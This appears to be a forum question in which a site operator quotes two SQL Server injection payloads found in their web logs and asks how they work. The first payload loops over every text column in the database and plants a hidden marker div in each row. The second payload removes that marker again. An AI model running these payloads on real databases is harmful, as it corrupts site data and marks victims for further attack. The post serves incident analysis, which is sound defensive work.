I've discovered two attempts at SQL injection in my webserver logs:
declare @c cursor;
set @c=cursor for select TABLE_NAME,c.COLUMN_NAME FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS c ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%text';declare @a varchar(99);
declare @s varchar(99);
declare @f varchar(99);
declare @q varchar(8000);
open @c;fetch next from @c into @a,@s;
while @@FETCH_STATUS=0
begin set @q='declare @f binary(16);
declare @x cursor;
set @x=cursor for SELECT TEXTPTR(['+@s+']) FROM ['+@a+'] where not ['+@s+'] like ''%edf40wrjww2%'';
open @x;
fetch next from @x into @f;
while @@FETCH_STATUS=0
begin declare @s varchar(8000);
set @s=''UPDATETEXT ['+@a+'].['+@s+'] ''+master.dbo.fn_varbintohexstr(@f)+'' 0 0 ''''''+char(60)+''div style="display:none"''+char(62)+''edf40wrjww2'+@a+':'+@s+'''+char(60)+char(47)+''div''+char(62)+'''''';'';exec(@s);
fetch next from @x into @f;
end;close @x';
exec(@q);
fetch next from @c into @a,@s;end;close @c--
declare @c cursor;
set @c=cursor for select TABLE_NAME,c.COLUMN_NAME FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS c ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%text';
declare @a varchar(99);
declare @s varchar(99);
declare @f varchar(99);
declare @q varchar(8000);
open @c;
fetch next from @c into @a,@s;
while @@FETCH_STATUS=0 begin set @q='declare @l int;set @l=44+len('''+@s+''')+len('''+@a+''');declare @f binary(16);
declare @x cursor;
set @x=cursor for SELECT TEXTPTR(['+@s+']) FROM ['+@a+'] where ['+@s+'] like ' '%edf40wrjww2%'';
open @x;
fetch next from @x into @f;
while @@FETCH_STATUS=0 begin declare @s varchar(8000);
set @s=''UPDATETEXT ['+@a+'].['+@s+'] ''+master.dbo.fn_varbintohexstr(@f)+'' 0 ''+cast(@l as varchar)+'' '''''''''';exec(@s);fetch next from @x into @f;end;close @x';
exec(@q);
fetch next from @c into @a,@s;
end;
close @c--
This is how I imagine the attack works: The first attempt tries to inject the <div>
element into the webpages HTML code with the tracking code. Then,
a malicious user could easily search for the infected websites. The second try looks for the code in the DB and then tries to extract information from it (?).
I've also searched the web for this code and it looks like there are quite a lot of websites infected (about 200, mainly Chinese) and you could see the "breadcrumb code" in their source codes.
My questions are:
- If the first injection injects the code into the DB, how does the HTML code "travel" from the DB to the actual HTML source code?
- What is the attacker exactly trying to do with the second attempt? Add row/column values to the infected fields with UPDATETEXT and extract info in such a way?